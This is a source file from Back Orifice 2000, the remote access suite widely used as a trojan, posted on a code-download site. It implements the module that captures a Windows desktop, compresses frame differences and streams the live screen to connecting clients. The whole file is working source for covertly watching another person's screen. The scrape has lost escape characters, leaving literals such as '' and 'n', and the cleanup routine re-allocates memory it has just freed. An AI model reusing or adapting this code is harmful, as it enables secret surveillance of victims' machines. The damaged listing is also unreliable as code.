vidstream.cpp
上传用户:jinandeyu
上传日期:2007-01-05
资源大小:620k
文件大小:16k
源码类别:

远程控制编程

开发平台:

WINDOWS

  1. /*  Back Orifice 2000 - Remote Administration Suite
  2.     Copyright (C) 1999, Cult Of The Dead Cow
  3.     This program is free software; you can redistribute it and/or modify
  4.     it under the terms of the GNU General Public License as published by
  5.     the Free Software Foundation; either version 2 of the License, or
  6.     (at your option) any later version.
  7.     This program is distributed in the hope that it will be useful,
  8.     but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.     GNU General Public License for more details.
  11.     You should have received a copy of the GNU General Public License
  12.     along with this program; if not, write to the Free Software
  13.     Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  14. The author of this program may be contacted at dildog@l0pht.com. */
  15. #include<windows.h>
  16. #include<plugins.h>
  17. #include<auth.h>
  18. #include<bocomreg.h>
  19. #include<iohandler.h>
  20. #include<encryption.h>
  21. #include<config.h>
  22. #include<strhandle.h>
  23. #include"bo_peep.h"
  24. #include"vidstream.h"
  25. #include"client.h"
  26. #define MAX_STREAMS 16
  27. #define MTU_STREAM 1400
  28. typedef struct {
  29. int xdim;
  30. int ydim;
  31. int rate;
  32. CAuthSocket *pSock;
  33. } VSLISTEN_ARGS;
  34. // -------------------- Global Variables ------------------------
  35. // VidStream control
  36. static HANDLE g_hVThread=NULL;
  37. static BOOL g_bStrActive=FALSE;
  38. // Screen device
  39. static HDC g_hScrDC;
  40. // Full screen dibits
  41. static int g_xscdim;
  42. static int g_yscdim;
  43. static BYTE  *g_pcFullGreyBits;
  44. // Viewport dibits
  45. static int g_xsize;
  46. static int g_ysize;
  47. static HDC g_hViewDC;
  48. static HBITMAP g_hbmView;
  49. static BITMAPINFOHEADER g_bmhView;
  50. static DWORD *g_pdwViewBits;
  51. static BYTE  *g_pcViewGreyBits;
  52. // Cursor and view positions
  53. static WORD g_wViewPosX,g_wViewPosY;
  54. static WORD g_wCurPosX,g_wCurPosY;
  55. static WORD g_wLastCurPosX,g_wLastCurPosY;
  56. // Diff dibits
  57. static BYTE *g_pcDiffBits;
  58. // Greyscale conversion
  59. static DWORD *g_pGreyTable;
  60. // Rectangular compresion
  61. static WORD *g_pRectCmp;
  62. // ----------------------- Function Implementations ------------------------------
  63. // RLECompress: Run length encoder
  64. BYTE *RLECompress(BYTE *frame, int size, int *pnRLESize)
  65. {
  66. BYTE *rlebuf=(BYTE *)malloc(size*2);
  67. if(rlebuf==NULL) return NULL;
  68. int i,outpos,inpos,cnt,runcnt;
  69. cnt=0;
  70. inpos=0;
  71. outpos=0;
  72. i=0;
  73. while(i<size) {
  74. if(i<(size-2) && (frame[i+1]==frame[i] && frame[i+2]==frame[i])) {
  75. // Check for RLE run
  76. BYTE col=frame[i];
  77. i++;
  78. runcnt=1;
  79. while(i<size && runcnt<127) {
  80. if(frame[i]!=col) break;
  81. i++;
  82. runcnt++;
  83. }
  84. // Emit block of pixels
  85. if(cnt>0) {
  86. rlebuf[outpos]=cnt;
  87. memcpy(rlebuf+outpos+1,frame+inpos,cnt);
  88. outpos+=(1+cnt);
  89. cnt=0;
  90. }
  91. inpos=i;
  92. // Emit RLE run of pixels
  93. rlebuf[outpos]=0x80 | runcnt;
  94. rlebuf[outpos+1]=col;
  95. outpos+=2;
  96. } else {
  97. cnt++;
  98. if(cnt==127 || (i==(size-1) && cnt>0)) {
  99. // Emit block of pixels
  100. rlebuf[outpos]=cnt;
  101. memcpy(rlebuf+outpos+1,frame+inpos,cnt);
  102. outpos+=(1+cnt);
  103. cnt=0;
  104. inpos=i;
  105. }
  106. i++;
  107. }
  108. }
  109. *pnRLESize=outpos;
  110. return rlebuf;
  111. }
  112. // RLEFree: cleanup after RLECompress()
  113. void RLEFree(BYTE *buf)
  114. {
  115. free(buf);
  116. }
  117. /*
  118. // RectCompress: Rectangular compression engine
  119. BYTE *RectCompress(int size, BYTE *frame, int *pnRLESize)
  120. {
  121. BYTE *rectbuf=(BYTE *)malloc(size*2);
  122. if(rectbuf==NULL) return NULL;
  123. int outpos,inpos;
  124. int x,y,nrx,nry,a,b;
  125. nrx=g_xsize/16;
  126. nry=g_ysize/16;
  127. // Find blocks of solid colors
  128. for(y=0;y<nry;y++) {
  129. for(x=0;x<nrx;x++) {
  130. inpos=(x+y*g_ysize)*16;
  131. BYTE col=frame[inpos];
  132. // check for colors
  133. for(b=0;b<16;b++) {
  134. for(a=0;a<16;a++) {
  135. if(col!=frame[inpos+a+b*g_xsize]) break;
  136. }
  137. }
  138. if(b==16) g_pRectCmp[x+y*nry]=col;
  139. else g_pRectCmp[x+y*nry]=0x8000;
  140. }
  141. }
  142. // Expand solid color areas
  143. for(y=0;y<nry;y++) {
  144. for(x=0;x<nrx;x++) {
  145. }
  146. }
  147. // *pnRLESize=outpos;
  148. return rectbuf;
  149. }
  150. // RectFree: Cleanup after RectCompress()
  151. void RectFree(BYTE *buf)
  152. {
  153. free(buf);
  154. }
  155. */
  156. // ReduceFrame: Performs greyscale conversion of a series of 32 bit color pixels.
  157. int ReduceFrame(DWORD *pInFrame,BYTE *pOutFrame,int cnt)
  158. {
  159. __asm {
  160. mov ecx, dword ptr [cnt]
  161. mov edi, dword ptr [pOutFrame]
  162. mov esi, dword ptr [pInFrame]
  163. mov ebx, dword ptr [g_pGreyTable]
  164. xor edx,edx
  165. }
  166. greyloop: _asm {
  167. mov dl, byte ptr [esi]
  168. mov eax, dword ptr [ebx+0+edx*4]
  169. mov dl, byte ptr [esi+1]
  170. add eax, dword ptr [ebx+1024+edx*4]
  171. mov dl, byte ptr [esi+2]
  172. add eax, dword ptr [ebx+2048+edx*4]
  173. mov byte ptr [edi], ah
  174. add esi,4
  175. inc edi
  176. dec ecx
  177. jnz greyloop
  178. }
  179. return 0;
  180. }
  181. // GetDiffFrame: Find the XOR difference between a viewport and the 'full screen',
  182. // modifies the 'full screen' with the viewport image and returns the difference
  183. BOOL GetDiffFrame(BYTE *pView, int vsx, int vsy, BYTE *pFull, int fx, int fy, int fsx, int fsy, BYTE *pDiff)
  184. {
  185. BYTE *pFullFrame;
  186. int nPitchAdd;
  187. pFullFrame=pFull+fsx*fy+fx;
  188. nPitchAdd=fsx-vsx;
  189. DWORD total=0;
  190. _asm {
  191. mov esi,dword ptr [pFullFrame]
  192. mov ebx,dword ptr [pView]
  193. mov edi,dword ptr [pDiff]
  194. mov ecx,dword ptr [vsy]
  195. shl ecx,16
  196. }
  197. dfyloop: _asm {
  198. mov cx,word ptr [vsx]
  199. }
  200. dfxloop: _asm {
  201. mov eax,dword ptr [esi]
  202. mov edx,dword ptr [ebx]
  203. xor eax,edx
  204. mov dword ptr [edi],eax
  205. mov dword ptr [esi],edx
  206. add dword ptr [total],eax
  207. add ebx,4
  208. add edi,4
  209. add esi,4
  210. sub cx,4
  211. jnz dfxloop
  212. add esi,dword ptr [nPitchAdd]
  213. sub ecx,65536
  214. jnz dfyloop
  215. }
  216. if(total>0) return TRUE;
  217. return FALSE;
  218. }
  219. // FreeDiffFrame: Cleanup after GetDiffFrame()
  220. void FreeDiffFrame(BYTE *buf)
  221. {
  222. free(buf);
  223. }
  224. // IssueFullScreen: sends over a compressed image of the entire
  225. // screen, Used to synchronize a client at the start of the stream.
  226. int IssueFullScreen(CAuthSocket *pSock)
  227. {
  228. // RLECompress the screen image
  229. int nRLESize;
  230. BYTE *rlebuf;
  231. rlebuf=RLECompress(g_pcFullGreyBits, g_xscdim*g_yscdim, &nRLESize);
  232. if(rlebuf==NULL) 
  233. return -1;
  234. // Tack on packet header
  235. VIDSTREAM_HEADER hdr;
  236. hdr.wPosX=0;
  237. hdr.wPosY=0;
  238. hdr.wSizeX=g_xscdim;
  239. hdr.wSizeY=g_yscdim;
  240. hdr.wCurPosX=g_wCurPosX;
  241. hdr.wCurPosY=g_wCurPosY;
  242. hdr.wFlags=VHF_FULLFRAME;
  243. hdr.dwSize=(DWORD)nRLESize;
  244. // Send the packet header (not all the data's going to fit in one packet anyway)
  245. int nRet,i;
  246. while((nRet=pSock->Send((BYTE *)&hdr,sizeof(VIDSTREAM_HEADER)))==0) 
  247. Sleep(20);
  248. if(nRet==-1) {
  249. RLEFree(rlebuf);
  250. return -1;
  251. }
  252. // Send packet body
  253. i=0;
  254. while(i<nRLESize) {
  255. int nXmit=((nRLESize-i)>MTU_STREAM)?MTU_STREAM:(nRLESize-i);
  256. while((nRet=pSock->Send(rlebuf+i,nXmit))==0) Sleep(20);
  257. if(nRet==-1) {
  258. RLEFree(rlebuf);
  259. return -1;
  260. }
  261. i+=nXmit;
  262. }
  263. return 0;
  264. }
  265. // CalcDiffScreen: takes two bitmaps and XORs them, storing the updated
  266. // image in the 'full screen bitmap' and stores the XOR diff, to be 
  267. // compressed and sent to the client.
  268. BYTE *CalcDiffScreen(int *pnDiffSize)
  269. {
  270. // Get cursor position
  271. POINT pt;
  272. GetCursorPos(&pt);
  273. g_wLastCurPosX=g_wCurPosX;
  274. g_wLastCurPosY=g_wCurPosY;
  275. g_wCurPosX=(WORD)pt.x;
  276. g_wCurPosY=(WORD)pt.y;
  277. // Get viewport position
  278. int left=pt.x-(g_xsize/2);
  279. int top=pt.y-(g_ysize/2);
  280. if(left<0) left=0;
  281. if(top<0) top=0;
  282. if(left>(g_xscdim-g_xsize)) left=(g_xscdim-g_xsize);
  283. if(top>(g_yscdim-g_ysize)) top=(g_yscdim-g_ysize);
  284. g_wViewPosX=left;
  285. g_wViewPosY=top;
  286. // Get viewport bits
  287. BitBlt(g_hViewDC,0,0,g_xsize,g_ysize,g_hScrDC,left,top,SRCCOPY);
  288. GetDIBits(g_hViewDC,g_hbmView,0,g_ysize,g_pdwViewBits,(BITMAPINFO *)&g_bmhView,DIB_RGB_COLORS);
  289. // Reduce view dibits to grey frame
  290. ReduceFrame(g_pdwViewBits,g_pcViewGreyBits,g_xsize*g_ysize);
  291. // XOR the two frames and get the diff
  292. if(GetDiffFrame(g_pcViewGreyBits, g_xsize, g_ysize, g_pcFullGreyBits, left, top, g_xscdim, g_yscdim, g_pcDiffBits)) {
  293. // RLECompress the new frame
  294. int nRLESize;
  295. BYTE *rlebuf;
  296. rlebuf=RLECompress(g_pcDiffBits,g_xsize*g_ysize,&nRLESize);
  297. if(rlebuf==NULL)
  298. return NULL;
  299. *pnDiffSize=nRLESize;
  300. return rlebuf;
  301. } else {
  302. int i;
  303. i=0;
  304. }
  305. return NULL;
  306. }
  307. // FreeDiffScreen: memory cleanup for CalcDiffScreen
  308. void FreeDiffScreen(BYTE *ptr)
  309. {
  310. if(ptr!=NULL)
  311. RLEFree(ptr);
  312. }
  313. // IssueDiffScreen: Sends a XOR diff viewport image to the 
  314. int IssueDiffScreen(CAuthSocket *pSock, BYTE *pDiff, int nDiffLen)
  315. {
  316. // Tack on packet header
  317. VIDSTREAM_HEADER hdr;
  318. if(pDiff==NULL) {
  319. nDiffLen=0;
  320. if(g_wLastCurPosX==g_wCurPosX && g_wLastCurPosY==g_wCurPosY) return 0;
  321. }
  322. hdr.wFlags=VHF_FRAMEDIFF;
  323. hdr.wSizeX=g_xsize;
  324. hdr.wSizeY=g_ysize;
  325. hdr.wPosX=g_wViewPosX;
  326. hdr.wPosY=g_wViewPosY;
  327. hdr.wCurPosX=g_wCurPosX;
  328. hdr.wCurPosY=g_wCurPosY;
  329. hdr.dwSize=(DWORD)nDiffLen;
  330. // Send the packet header
  331. int nRet,i;
  332. while((nRet=pSock->Send((BYTE *)&hdr,sizeof(VIDSTREAM_HEADER)))==0) 
  333. Sleep(0);
  334. if(nRet==-1) 
  335. return -1;
  336. // Send packet body
  337. i=0;
  338. while(i<nDiffLen) {
  339. int nXmit=((nDiffLen-i)>MTU_STREAM)?MTU_STREAM:(nDiffLen-i);
  340. while((nRet=pSock->Send(pDiff+i,nXmit))==0) 
  341. Sleep(0);
  342. if(nRet==-1) 
  343. return -1;
  344. i+=nXmit;
  345. }
  346. return 0;
  347. }
  348. DWORD WINAPI VidStreamThread(VSLISTEN_ARGS *pArgs)
  349. {
  350. int nRate;
  351. CAuthSocket *pSock,*pChild;
  352. CAuthSocket *pChildren[MAX_STREAMS];
  353. int nChildren,i,j;
  354. DWORD dwPeriod;
  355. // ---------- Get parameters --------------------
  356. g_xsize=pArgs->xdim;
  357. g_ysize=pArgs->ydim;
  358. nRate=pArgs->rate;
  359. dwPeriod=(1000/nRate);
  360. pSock=pArgs->pSock;
  361. free(pArgs);
  362. g_nNumThreads=1;
  363. // --------- Initialize screen capture ----------
  364. // Full screen
  365. g_hScrDC=GetDC(NULL);
  366. g_xscdim=GetSystemMetrics(SM_CXSCREEN);
  367. g_yscdim=GetSystemMetrics(SM_CYSCREEN);
  368. g_pcFullGreyBits=(BYTE *)malloc(g_xscdim*g_yscdim);
  369. // Viewport
  370. memset(&g_bmhView,0,sizeof(BITMAPINFOHEADER));
  371. g_bmhView.biSize=sizeof(BITMAPINFOHEADER);
  372. g_bmhView.biWidth=g_xsize;
  373. g_bmhView.biHeight=-g_ysize;
  374. g_bmhView.biPlanes=1;
  375. g_bmhView.biBitCount=32;
  376. g_bmhView.biCompression=BI_RGB;
  377. g_bmhView.biSizeImage=0;
  378. g_pdwViewBits=(DWORD *)malloc(g_xsize*g_ysize*sizeof(DWORD));
  379. g_pcViewGreyBits=(BYTE *)malloc(g_xsize*g_ysize);
  380. g_pcDiffBits=(BYTE *)malloc(g_xsize*g_ysize);
  381. g_hViewDC=CreateCompatibleDC(GetDC(NULL));
  382. g_hbmView=CreateCompatibleBitmap(GetDC(NULL),g_xsize,g_ysize);
  383. SelectObject(g_hViewDC,g_hbmView);
  384. // RGB->Grey
  385. g_pGreyTable=(DWORD *)malloc(sizeof(DWORD)*256*3);
  386. if(g_pGreyTable==NULL) return -1;
  387. for(i=0;i<256;i++) {
  388. g_pGreyTable[i]=i*29;    // B
  389. g_pGreyTable[i+256]=i*150; // G
  390. g_pGreyTable[i+512]=i*77;  // R
  391. }
  392. // Rectangular compression
  393. g_pRectCmp=(WORD *)malloc((g_xsize*g_ysize)/256);
  394. // --------- Do initial desktop capture ---------
  395. BITMAPINFOHEADER bmhFull;
  396. memset(&bmhFull,0,sizeof(BITMAPINFOHEADER));
  397. bmhFull.biSize=sizeof(BITMAPINFOHEADER);
  398. bmhFull.biWidth=g_xscdim;
  399. bmhFull.biHeight=-g_yscdim;
  400. bmhFull.biPlanes=1;
  401. bmhFull.biBitCount=32;
  402. bmhFull.biCompression=BI_RGB;
  403. bmhFull.biSizeImage=0;
  404. DWORD *pdwFullBits=(DWORD *)malloc(g_xscdim*g_yscdim*sizeof(DWORD));
  405. HDC hdccap=CreateCompatibleDC(g_hScrDC);
  406. HBITMAP hbmcap=CreateCompatibleBitmap(g_hScrDC,g_xscdim,g_yscdim);
  407. HGDIOBJ gdiold=SelectObject(hdccap,hbmcap);
  408. BitBlt(hdccap,0,0,g_xscdim,g_yscdim,g_hScrDC,0,0,SRCCOPY);
  409. GetDIBits(hdccap,hbmcap,0,g_yscdim,pdwFullBits,(BITMAPINFO *)&bmhFull,DIB_RGB_COLORS);
  410. ReduceFrame(pdwFullBits,g_pcFullGreyBits,g_xscdim*g_yscdim);
  411. SelectObject(hdccap,gdiold);
  412. DeleteObject(hbmcap);
  413. DeleteDC(hdccap);
  414. free(pdwFullBits);
  415. // --------------- Data socket loop ----------------------
  416. nChildren=0;
  417. DWORD dwThen,dwNow;
  418. g_bStrActive=TRUE;
  419. while(g_bStrActive) {
  420. dwThen=GetTickCount();
  421. // ------ Check for accepts --------
  422. if(nChildren<MAX_STREAMS) {
  423. pChild=pSock->Accept();
  424. if(pChild!=NULL) {
  425. // Send new child full screen
  426. if(IssueFullScreen(pChild)>=0) {
  427. pChildren[nChildren]=pChild;
  428. nChildren++;
  429. } else {
  430. pChild->Close();
  431. delete pChild;
  432. }
  433. }
  434. }
  435. // ------ Broadcast screen diff data ---------
  436. if(nChildren>0) {
  437. // Calculate screen diffs
  438. int nDiffLen;
  439. BYTE *pDiff=CalcDiffScreen(&nDiffLen);
  440. for(i=(nChildren-1);i>=0;i--) {
  441. if(IssueDiffScreen(pChildren[i],pDiff,nDiffLen)<0) {
  442. pChildren[i]->Close();
  443. delete pChildren[i];
  444. for(j=i+1;j<nChildren;j++) {
  445. pChildren[j-1]=pChildren[j];
  446. }
  447. pChildren[j-1]=NULL;
  448. nChildren--;
  449. }
  450. }
  451. FreeDiffScreen(pDiff);
  452. }
  453. // ------- Wait for next frame ---------
  454. dwNow=GetTickCount();
  455. if((dwNow-dwThen)<dwPeriod)
  456. Sleep((dwPeriod-(dwNow-dwThen)));
  457. if(g_bActive==FALSE) g_bStrActive=FALSE;
  458. }
  459. // Free rect comp table
  460. free(g_pRectCmp);
  461. // Free greyscale tables
  462. free(g_pGreyTable);
  463. // Close all connections
  464. for(i=(nChildren-1);i>=0;i--) {
  465. pChildren[i]->Close();
  466. delete pChildren[i];
  467. pChildren[i]=NULL;
  468. }
  469. nChildren=0;
  470. pSock->Close();
  471. delete pSock;
  472. // Clean up
  473. free(g_pcFullGreyBits);
  474. // Viewport
  475. free(g_pdwViewBits);
  476. free(g_pcViewGreyBits);
  477. free(g_pcDiffBits);
  478. DeleteDC(g_hViewDC);
  479. DeleteObject(g_hbmView);
  480. // RGB->Grey
  481. g_pGreyTable=(DWORD *)malloc(sizeof(DWORD)*256*3);
  482. if(g_pGreyTable==NULL) return -1;
  483. for(i=0;i<256;i++) {
  484. g_pGreyTable[i]=i*29;    // B
  485. g_pGreyTable[i+256]=i*150; // G
  486. g_pGreyTable[i+512]=i*77;  // R
  487. }
  488. // Rectangular compression
  489. g_pRectCmp=(WORD *)malloc((g_xsize*g_ysize)/256);
  490. g_nNumThreads=0;
  491. return 0;
  492. }
  493. int CmdProc_StartVidStream(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  494. {
  495. char *svXDim=NULL,*svYDim=NULL;
  496. char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svParam=NULL;
  497. int nXDim=0,nYDim=0,nRate=15;
  498. // Check if already started
  499. if(g_hVThread!=NULL) {
  500. IssueAuthCommandReply(cas_from,comid,0,"Vidstream socket already created.n");
  501. return -1;
  502. }
  503. // Get parameters
  504. svXDim=GetCfgStr(g_szAdvancedOptions,"VidStream X Res");
  505. svYDim=GetCfgStr(g_szAdvancedOptions,"VidStream Y Res");
  506. svNetMod=GetCfgStr(g_szAdvancedOptions,"VidStream Net Module");
  507. svEnc=GetCfgStr(g_szAdvancedOptions,"VidStream Encryption");
  508. svAuth=GetCfgStr(g_szAdvancedOptions,"VidStream Auth");
  509. if((svParam=svArg2)!=NULL) {
  510. if(svArg2[0]!='') svXDim=svParam;
  511. if((svParam=BreakString(svXDim,","))!=NULL) {
  512. if(svParam[0]!='') svYDim=svParam;
  513. if((svParam=BreakString(svYDim,","))!=NULL) {
  514. if(svParam[0]!='') svNetMod=svParam;
  515. if((svParam=BreakString(svNetMod,","))!=NULL) {
  516. if(svParam[0]!='') svEnc=svParam;
  517. if((svParam=BreakString(svEnc,","))!=NULL) {
  518. if(svParam[0]!='') svAuth=svParam;
  519. }
  520. }
  521. }
  522. }
  523. }
  524. nRate=nArg1;
  525. if(nRate<=0) nRate=15;
  526. // Create listener socket
  527. svParam=GetCfgStr(g_szAdvancedOptions,"VidStream Bind Str");
  528. if(svArg3!=NULL) {
  529. if(svArg3[0]!='') svParam=svArg3;
  530. }
  531. CAuthSocket *pSock=ListenAuthSocket(InteractiveListen,cas_from->GetUserID(),NULL, svParam,svNetMod,svEnc,svAuth);
  532. if(pSock==NULL || pSock==(CAuthSocket *)0xFFFFFFFF) {
  533. IssueAuthCommandReply(cas_from,comid,0,"Couldn't start listening socket.n");
  534. return -1;
  535. }
  536. // Spawn listener thread
  537. VSLISTEN_ARGS *pArgs=(VSLISTEN_ARGS *)malloc(sizeof(VSLISTEN_ARGS));
  538. if(pArgs==NULL) {
  539. pSock->Close();
  540. IssueAuthCommandReply(cas_from,comid,0,"Memory allocation error.n");
  541. return -1;
  542. }
  543. pArgs->xdim=atoi(svXDim);
  544. pArgs->ydim=atoi(svYDim);
  545. pArgs->pSock=pSock;
  546. pArgs->rate=nRate;
  547. DWORD dwTid;
  548. g_hVThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)VidStreamThread,pArgs,0,&dwTid);
  549. if(g_hVThread==NULL) {
  550. free(pArgs);
  551. pSock->Close();
  552. IssueAuthCommandReply(cas_from,comid,0,"Could create thread.n");
  553. }
  554. char svResponse[512],svConAddr[256];
  555. pSock->GetConnectAddr(svConAddr,256);
  556. wsprintf(svResponse, "VidStream started on %.256sn",svConAddr);
  557. IssueAuthCommandReply(cas_from, comid, 0, svResponse);
  558. return 0;
  559. }
  560. int CmdProc_StopVidStream(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  561. {
  562. g_bStrActive=FALSE;
  563. if(WaitForSingleObject(g_hVThread,5000)!=WAIT_OBJECT_0) {
  564. IssueAuthCommandReply(cas_from, comid, 0, "Couldn't stop vidstream in 5 sec. Aborting thread.n");
  565. TerminateThread(g_hVThread,0);
  566. }
  567. CloseHandle(g_hVThread);
  568. g_hVThread=NULL;
  569. IssueAuthCommandReply(cas_from, comid, 0, "VidStream stopped.n");
  570. return 0;
  571. }